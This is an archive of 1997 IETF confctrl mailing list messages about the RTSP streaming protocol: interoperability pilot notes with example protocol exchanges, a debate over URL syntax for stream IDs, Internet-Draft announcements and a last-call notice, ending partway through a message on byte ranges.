               Harald T. Alvestrand

From majordom@ISI.EDU  Tue Oct 21 13:06:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA01677>; Tue, 21 Oct 1997 20:06:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA01671>; Tue, 21 Oct 1997 20:06:52 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA02033
	for <confctrl@isi.edu>; Tue, 21 Oct 1997 20:06:51 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA20247
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 21 Oct 1997 20:10:31 -0700
Message-Id: <3.0.3.32.19971021200648.0116fe30@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 21 Oct 1997 20:06:48 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Notes from the RTSP Interoperability Pilot
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Notes from RTSP Interoperability Pilot Oct. 16-17 Seattle, WA

Last week, engineers from Apple, Columbia University, IBM, Netscape,
RealNetworks, and Sun/JavaSoft met to test the interoperability of early
RTSP implementations.  We were able to demonstrate limited interoperability
between most of the implementations represented, and were convinced that
with a small amount of additional work, all implementations would work
together as expected.  Thus, we came to the conclusion that the current
draft-04 specification, with the clarifications listed below, is
implementable and a sufficient means of obtaining interoperability.

The editors of the RTSP specification will be integrating the
clarifications that were introduced last week into the spec, fix any minor
inconsistancies and typos, and issue draft-05.  After issuing draft-05, we
would like to then place a last call on the resulting document, placing it
on track to be submitted to the IESG for consideration as a proposed
standard 4 weeks later.

Here's the list of issues that we ran into:

1.  There was some confusion about DESCRIBE being an optional method.
    Though not stated as such, support for at least one session description
    format is a practical necessity.  There are three ways that a client
    may receive this:

    a.  Via RTSP's DESCRIBE method
    b.  Via some other protocol (HTTP, etc.)
    c.  Via the command line or standard input (thus working as a browser
        helper app launched with an sdp file)

    The spec does not specify which of these methods is the minimum, and
    may not need to.  However, many clients at the interoperability pilot
    only supported (a), and there was one server did not support the
    DESCRIBE method.  This made interoperability with this server
    impossible.

    Therefore, from a practical standpoint, there needs to at least needs
    to be a cautionary note about this.  It should be highly recommended
    that minimal servers support the DESCRIBE method, and highly
    recommended that minimal clients support (c) above.  The two separate
    models that these methods encompass should also be explained somewhere
    in the specification.

2.  How many DESCRIBEs are required?

    We never really nailed down how many DESCRIBES should be done, and
    implementations varied on this front. The attendees agreed that the
    best way to deal with initial versions of SDP is the all or nothing
    approach.  In initial implementations, all SDP should be completely
    valid SDP, and given complete information about a set of streams,
    implementations should trust that information and forgo doing another
    DESCRIBE.

3.  Mapping RTP timestamps to NTP timestamps (wall clock) to NPT timestamps
    (movie time)

    There was some confusion about the different types of timestamps
    associated with a stream.  It was generally agreed upon that the
    currently specified mechanism is fine, but probably should be
    clarified.

    RTP timestamps map to NTP timestamps via RTCP.  RTP timestamps map onto
    NPT timestamps via the RTSP RTP-Info field.  NTP timestamps map to NPT
    timestamps via calculation through their common association to the RTP
    timestamps.  In the future, we may wish to provide the NTP timestamp
    directly in parallel with the RTP-Info field, but we decided that it
    probably wouldn't be necessary for the time being.

4.  New error message "461 Transport not supported"

    An oversight in the current specification is a lack of a way to say
    that none of the provided transports are supported by the server.  This
    is a simple addition to the spec.

5.  Making seeking work correctly with standard user interfaces

    There are a couple of fields that MUST be implemented in order for
    clients to be expected to support seek functionality in the standard
    way (a slider bar)

    -  a=length: attribute in SDP
    -  RTP->NPT mapping via the RTP-Info field

    It should be noted in RTSP draft-05 that the RTP timestamp in the
    RTP-Info field may not necessarily map to the first sequence number,
    but instead maps to the NPT time from the start value in the Range
    field.

6.  Single stream SDP

    There were questions as to whether servers should be required to
    support single-stream files with a single URL throughout.  This would
    mean that multistream servers would need to special case this
    particular case.  Here's an example of how a multi-stream server might
    expect a single-stream file to be served:

    C->S  DESCRIBE rtsp://foo.com/test.wav RTSP/1.0
          Accept: application/x-rtsp-mh, application/sdp
          CSeq: 2
          
    S->C  RTSP/1.0 200 OK
          CSeq: 2
          Content-base: rtsp://foo.com/test.wav/
          Content-type: application/sdp
          Content-length: 681
          
          v=0
          o=- 872653257 872653257 IN IP4 172.16.2.187
          s=mu-law wave file
          i=audio test
          t=0 0
          m=audio 0 RTP/AVP 0
          a=control:streamid=0
          
    C->S  SETUP rtsp://foo.com/test.wav/streamid=0 RTSP/1.0
          Transport: rtp/avp/udp;client_port=6970-6971;mode=play
          CSeq: 3
          
    S->C  RTSP/1.0 200 OK
          Transport: rtp/avp/udp;client_port=6970-6971;
                     server_port=6970-6971;mode=play
          CSeq: 3

    C->S  PLAY rtsp://foo.com/test.wav RTSP/1.0
          CSeq: 4

    S->C  RTSP/1.0 200 OK
          CSeq: 4

    Note the different URL in the SETUP command, and then the switch back
    to the aggregate URL in the PLAY command.  This makes complete sense
    when there are multiple streams with aggregate control (the proverbial
    1-1-n), but is less than intuitive in the special case where the number
    of streams is one (n=1).

    In this special case, we would hope that servers would be forgiving of
    implementations that send:

    C->S  PLAY rtsp://foo.com/test.wav/streamid=0 RTSP/1.0
          CSeq: 4

    In the worst case, servers should send back:

    S->C  RTSP/1.0 460 Only aggregate operation allowed
          CSeq: 4

    One would also hope that server implementations are also forgiving of
    the following:

    C->S  SETUP rtsp://foo.com/test.wav RTSP/1.0
          Transport: rtp/avp/udp;client_port=6970-6971;mode=play
          CSeq: 3

    Since there is only a single stream in this file, it's not ambiguous
    what this means.

7.  Multiple PLAYs on different URLs after a single SETUP

    One of the functions that one of the implementors would like to have is
    the ability to issue a single SETUP, and then multiple PLAY messages on
    different URLs.  The idea would be to leverage the first SETUP to
    stream multiple presentations over the same path.

    It was felt that as long as such implementations were robust enough to
    handle those implementations that didn't support this functionality,
    there shouldn't be a problem with supporting this between matched
    clients and servers.  However, implementations which overload existing
    methods in a non-standard way or add new methods do so at their own
    risk, and future versions of RTSP are not encumbered with maintaining
    backward compatibility with such implementations.

8.  Should there be a MUTE method, or should we overload PAUSE:

    How should implementations handle stream-level control of aggregate
    streams if they choose to support it?  In other words, if an aggregate
    PLAY command is issued, then if a client wishes to shut off one of the
    streams, how should this be done?  - PAUSE on the stream URL - MUTE on
    the stream URL - some other means (turn the "bandwidth" knob on the
    stream down to zero, for instance)

    We will not actually specify how this should be done, but we should at
    least provide a recommendation to shape future versions of the
    specification and to avoid overloading where it shouldn't occur.

    Once again, it was felt that as long as such implementations were
    robust enough to handle those implementations that didn't support this
    functionality, there shouldn't be a problem with supporting this
    between matched clients and servers.  However, implementations which
    overload existing methods in a non-standard way or add new methods do
    so at their own risk, and future versions of RTSP are not encumbered
    with maintaining backward compatibility with such implementations.

Each of these issues will be clarified in draft-05 of RTSP.

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Wed Oct 22 08:51:35 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA16941
	for confctrl-outgoing; Wed, 22 Oct 1997 08:51:35 -0700 (PDT)
received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29)
	id <AA14090>; Wed, 22 Oct 1997 07:33:35 -0700
received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15781
	for <confctrl@isi.edu>; Wed, 22 Oct 1997 07:33:34 -0700 (PDT)
received: from mailhub.watson.ibm.com (mailhub.watson.ibm.com [9.2.250.97]) by igw3.watson.ibm.com (8.8.7/07-11-97) with ESMTP id KAA02330 for <confctrl@isi.edu>; Wed, 22 Oct 1997 10:33:33 -0400
received: from plan9.watson.ibm.com (plan9.watson.ibm.com [9.2.207.76]) by mailhub.watson.ibm.com (8.8.7/07-14-97) with SMTP id KAA09648 for <confctrl@isi.edu>; Wed, 22 Oct 1997 10:33:32 -0400
received: by plan9.watson.ibm.com (AIX 4.1/UCB 5.64/6/25/96)
          id AA22520; Wed, 22 Oct 1997 10:33:32 -0400
From: v guruprasad (prasad) <prasad@watson.ibm.com>
message-id: <9710221433.AA22520@plan9.watson.ibm.com>
subject: Suggest making streamid an argument
To: confctrl@ISI.EDU
date: Wed, 22 Oct 1997 10:33:32 -0400 (EDT)
x-mailer: ELM [version 2.4 PL25]
content-type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,


Admittedly, it's late in the day for this, but I had not noticed the
streamid usage until the Interop.

Instead of tagging the streamid as part of the "filename", as below

>     C->S  SETUP rtsp://foo.com/test.wav/streamid=0 RTSP/1.0
>           Transport: rtp/avp/udp;client_port=6970-6971;mode=play
>           CSeq: 3

I propose that it be tagged like an HTTP Form argument:

      C->S  SETUP rtsp://foo.com/test.wav?streamid=0 RTSP/1.0
            Transport: rtp/avp/udp;client_port=6970-6971;mode=play
            CSeq: 3

Pros:
-----

1. It eases parsing, enhances readability and promotes scalability.

The media content would be often stored, or addressed, in a directory
hierarchy.  Directory organization is often overlooked in the prototype
stage when there are relatively few sample contents, but becomes
important for services with more content, say with hundreds of movies, etc.

2. This would make the syntax more compatible with HTTP, in which the
slashes are interpreted as a (virtual) directory path and argument values
("=xxx") are demarkated with a question mark ('?').

It would also allow CGI-like implementation of the RTSP methods and the
reuse of "cgiparse" for grabbing the streamid or similar parameters.
Although this apparently buys little for Java-based (single-language)
implementations, we should allow the flexibility for efficiency of high
end servers that might be implemented in more traditional ways.

3. The change to the current prototype implementations is minimal.  In
C/C++, it would entail replacing an "strrchr (url, '/')" call with
"strchr (url, '?')".

4. I would expect the IETF to come up with these questions at some point
before granting approval as a standard.



Cons:
-----

1. It *could* be used by mutually agreeable clients and servers to shorten
a number of other parameters by passing them as URL arguments, thus
"collapsing" the protocol.  As an extreme example, consider:

      C->S  SETUP rtsp://foo.com/test.wav?streamid=0&transport=rtp/avp/udp&client_port=6970-6971&mode=play RTSP/1.0
            CSeq: 3

This would make sense because the arguments are specific to the stream
being setup, viz. 0, and any parameters that might have been overlooked
could also be tagged this way.  Such run-away extensions would not really
impact the standard, however, so the possibility should not be a problem.


From confctrl-owner  Wed Oct 22 11:04:09 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA24397
	for confctrl-outgoing; Wed, 22 Oct 1997 11:04:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24380
	for <confctrl@zephyr.isi.edu>; Wed, 22 Oct 1997 11:04:05 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA26082
	for <confctrl@ISI.EDU>; Wed, 22 Oct 1997 11:04:03 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA07792
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 22 Oct 1997 11:07:38 -0700
Message-Id: <3.0.3.32.19971022110351.0124710c@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 22 Oct 1997 11:03:51 -0700
To: v guruprasad (prasad) <prasad@watson.ibm.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: Suggest making streamid an argument
In-Reply-To: <9710221433.AA22520@plan9.watson.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'll be nice because Prasad's a nice guy and I know he was a relative
latecomer to this mailing list :)

We spent a lot of time discussing the syntax of the URL in the July/August
timeframe, and I'd really like to encourage you, Prasad (and everyone else
who wasn't around for this discussion) to look at the confctrl archive at:

http://www.mbone.com/lists/confctrl.1997Q3/

There was a lot of mail on this subject, which is a lot to sift through,
but I think it's a necessary exercise to avoid derailing things.

Rob

At 10:33 AM 10/22/97 -0400, prasad wrote:
>Folks,
>
>
>Admittedly, it's late in the day for this, but I had not noticed the
>streamid usage until the Interop.
>
>Instead of tagging the streamid as part of the "filename", as below
>
>>     C->S  SETUP rtsp://foo.com/test.wav/streamid=0 RTSP/1.0
>>           Transport: rtp/avp/udp;client_port=6970-6971;mode=play
>>           CSeq: 3
>
>I propose that it be tagged like an HTTP Form argument:
>
>      C->S  SETUP rtsp://foo.com/test.wav?streamid=0 RTSP/1.0
>            Transport: rtp/avp/udp;client_port=6970-6971;mode=play
>            CSeq: 3
>
>Pros:
>-----
>
>1. It eases parsing, enhances readability and promotes scalability.
>
>The media content would be often stored, or addressed, in a directory
>hierarchy.  Directory organization is often overlooked in the prototype
>stage when there are relatively few sample contents, but becomes
>important for services with more content, say with hundreds of movies, etc.
>
>2. This would make the syntax more compatible with HTTP, in which the
>slashes are interpreted as a (virtual) directory path and argument values
>("=xxx") are demarkated with a question mark ('?').
>
>It would also allow CGI-like implementation of the RTSP methods and the
>reuse of "cgiparse" for grabbing the streamid or similar parameters.
>Although this apparently buys little for Java-based (single-language)
>implementations, we should allow the flexibility for efficiency of high
>end servers that might be implemented in more traditional ways.
>
>3. The change to the current prototype implementations is minimal.  In
>C/C++, it would entail replacing an "strrchr (url, '/')" call with
>"strchr (url, '?')".
>
>4. I would expect the IETF to come up with these questions at some point
>before granting approval as a standard.
>
>
>
>Cons:
>-----
>
>1. It *could* be used by mutually agreeable clients and servers to shorten
>a number of other parameters by passing them as URL arguments, thus
>"collapsing" the protocol.  As an extreme example, consider:
>
>      C->S  SETUP
rtsp://foo.com/test.wav?streamid=0&transport=rtp/avp/udp&client_port=6970-69
71&mode=play RTSP/1.0
>            CSeq: 3
>
>This would make sense because the arguments are specific to the stream
>being setup, viz. 0, and any parameters that might have been overlooked
>could also be tagged this way.  Such run-away extensions would not really
>impact the standard, however, so the possibility should not be a problem.
>
>
---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Wed Oct 22 23:51:28 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA05551
	for confctrl-outgoing; Wed, 22 Oct 1997 12:24:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05539
	for <confctrl@zephyr.isi.edu>; Wed, 22 Oct 1997 12:24:17 -0700 (PDT)
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA09454
	for <confctrl@ISI.EDU>; Wed, 22 Oct 1997 12:24:14 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id MAA19338;
	Wed, 22 Oct 1997 12:23:11 -0700 (PDT)
Date: Wed, 22 Oct 1997 12:23:16 -0700 ()
From: Stephen Casner <casner@precept.com>
To: v guruprasad <prasad@watson.ibm.com>
cc: confctrl@ISI.EDU
Subject: Re: Suggest making streamid an argument
In-Reply-To: <9710221433.AA22520@plan9.watson.ibm.com>
Message-ID: <Pine.WNT.3.95.971022121940.-232785B-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, 22 Oct 1997, v guruprasad wrote:

> Instead of tagging the streamid as part of the "filename", as below
> 
> >     C->S  SETUP rtsp://foo.com/test.wav/streamid=0 RTSP/1.0
> >           Transport: rtp/avp/udp;client_port=6970-6971;mode=play
> >           CSeq: 3
> 
> I propose that it be tagged like an HTTP Form argument:
> 
>       C->S  SETUP rtsp://foo.com/test.wav?streamid=0 RTSP/1.0
>             Transport: rtp/avp/udp;client_port=6970-6971;mode=play
>             CSeq: 3

The short answer is you can do whatever you want with your server.
Since the server puts the URLs into the session description and the
client just blindly sends them back, they can be in whatever form you
like.

> 1. It *could* be used by mutually agreeable clients and servers to shorten
> a number of other parameters by passing them as URL arguments, thus
> "collapsing" the protocol.  As an extreme example, consider:
> 
>       C->S  SETUP rtsp://foo.com/test.wav?streamid=0&transport=rtp/avp/udp&client_port=6970-6971&mode=play RTSP/1.0
>             CSeq: 3

This is not a good idea because those headers are to be interpreted by
proxies for whom the URL will also be opaque.
							-- Steve


From confctrl-owner  Wed Oct 29 06:26:41 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08517
	for confctrl-outgoing; Wed, 29 Oct 1997 06:26:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08512
	for <confctrl@zephyr.isi.edu>; Wed, 29 Oct 1997 06:26:40 -0800 (PST)
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23008
	for <confctrl@isi.edu>; Wed, 29 Oct 1997 06:26:38 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.7/8.8.7a) with ESMTP id JAA16607;
	Wed, 29 Oct 1997 09:26:21 -0500 (EST)
Message-Id: <199710291426.JAA16607@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-sec-03.txt,.ps
Date: Wed, 29 Oct 1997 09:26:20 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Specification of Security in 
                          SAP Using Public Key Algorithms
	Author(s)	: P. Kirstein, G. Montasser-Kohsari, E. Whelan
	Filename	: draft-ietf-mmusic-sap-sec-03.txt,.ps
	Pages		: 17
	Date		: 28-Oct-97
	
The Session Announcement Protocol (SAP) has been specified in such a way
that authentication and privacy can be assured. However the algorithms
and mechanisms to achieve such security are not prescribed in the
current draft. This document extends the SAP protocol, by describing
specific algorithms and formats of authentication and encryption formats
based on PGP and PKCS#7 standards. It is a companion document to
draft-ietf-mmusic-sap.
 
This document is a product of the Multiparty Multimedia Session Control
(MMUSIC) working group of the Internet Engineering Task Force Comments
are solicited and should be addressed to the working group's mailing
list at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login wih the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-sec-03.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap-sec-03.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-sec-03.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19971028153803.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-sec-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-sec-03.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19971028153803.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Oct 30 00:32:24 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA11809
	for confctrl-outgoing; Thu, 30 Oct 1997 00:32:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA11803
	for <confctrl@zephyr.isi.edu>; Thu, 30 Oct 1997 00:32:22 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA05582
	for <confctrl@isi.edu>; Thu, 30 Oct 1997 00:32:21 -0800 (PST)
Received: from robla.dev.prognet.com (mg-20425425-103.ricochet.net) by murrow.prognet.com with SMTP id AA22859
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 30 Oct 1997 00:36:57 -0800
Message-Id: <3.0.3.32.19971030003215.012589a0@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Oct 1997 00:32:15 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP Draft 05 and Working Group Last Call
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There should be an official announcement of draft-ietf-mmusic-rtsp-05.txt
(.ps) very shortly.  In the meantime, it's available from both Henning's
site at Columbia and RealNetworks' site:

Columbia:     http://www.cs.columbia.edu/~hgs/rtsp
RealNetworks: http://www.real.com/rtsp

We'd like to propose a last call on RTSP, with comments due no later than
November 18, 1997.  This gives us a bit of lead time before the draft
deadline of November 21 prior to the IETF so that we can submit another
draft should that be necessary.  We'd like to submit this to the IESG no
later than November 21.  This also gives us about 3 weeks for comments
prior to IESG submission.

Note that this is only working group last call.  The IESG will have a last
call of their own after that, which from what I understand is another 2 weeks.

Thanks for everyone's contributions in getting this draft out.

Rob

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Thu Oct 30 07:22:54 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17640
	for confctrl-outgoing; Thu, 30 Oct 1997 07:22:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17635
	for <confctrl@zephyr.isi.edu>; Thu, 30 Oct 1997 07:22:53 -0800 (PST)
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14211
	for <confctrl@isi.edu>; Thu, 30 Oct 1997 07:22:50 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.7/8.8.7a) with ESMTP id KAA11991;
	Thu, 30 Oct 1997 10:22:33 -0500 (EST)
Message-Id: <199710301522.KAA11991@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-05.txt,.ps
Date: Thu, 30 Oct 1997 10:22:33 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-05.txt,.ps
	Pages		: 98
	Date		: 29-Oct-97
	
   The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and provide a means for choosing delivery
   mechanisms based upon RTP (RFC 1889).
 
   This is a snapshot of the current draft which will become the next
   version of the ``official'' Internet Draft.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-05.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-05.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-05.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19971030102059.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-05.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19971030102059.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Oct 30 08:15:50 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA18957
	for confctrl-outgoing; Thu, 30 Oct 1997 08:15:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18952
	for <confctrl@zephyr.isi.edu>; Thu, 30 Oct 1997 08:15:49 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16185
	for <confctrl@isi.edu>; Thu, 30 Oct 1997 08:15:46 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA10155; Thu, 30 Oct 1997 11:15:38 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA03875; Thu, 30 Oct 1997 11:15:37 -0500 (EST)
Message-ID: <3458B2A9.BB1DFBAD@cs.columbia.edu>
Date: Thu, 30 Oct 1997 11:15:37 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
CC: Sanjoy Paul <sanjoy@dnrc.bell-labs.com>
Subject: RTSP open issue: range: bytes= specification
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the past, it has been suggested that Range: may also take a
non-time-based specification, such as the byte range found in HTTP. 

The application that was brought up was that of a cache server: The
cache server would "read ahead" at maximum (TCP) speed and buffer a
finite amount of data for its client. This makes sense, as it decreases
client delay and is more "network-friendly". 

ftp or http cannot be used here, since the names, locations, and access
permissions of the media object may well be different, if the files are
available via these services at all.

Instead of using Range requests in this case, however, the cache server
can just stop reading data from the origin server when its local buffer
is full and resume reading when the client has caught up.

Generally speaking, adding Range types is reasonably harmless, as not
all servers need to support all types for all types of files. Not all
range types make sense for all types of data. SMPTE and clock, for
example, cannot always be readily applied, so I see no problem in
principle with adding a range option of limited use. However, for the
cache example, this is only useful if very widely deployed by origin
servers, across all media types.

Unfortunately, for many media objects, byte range make little sense, as
they make be hard to determine (Do you count the QuickTime or ASF header
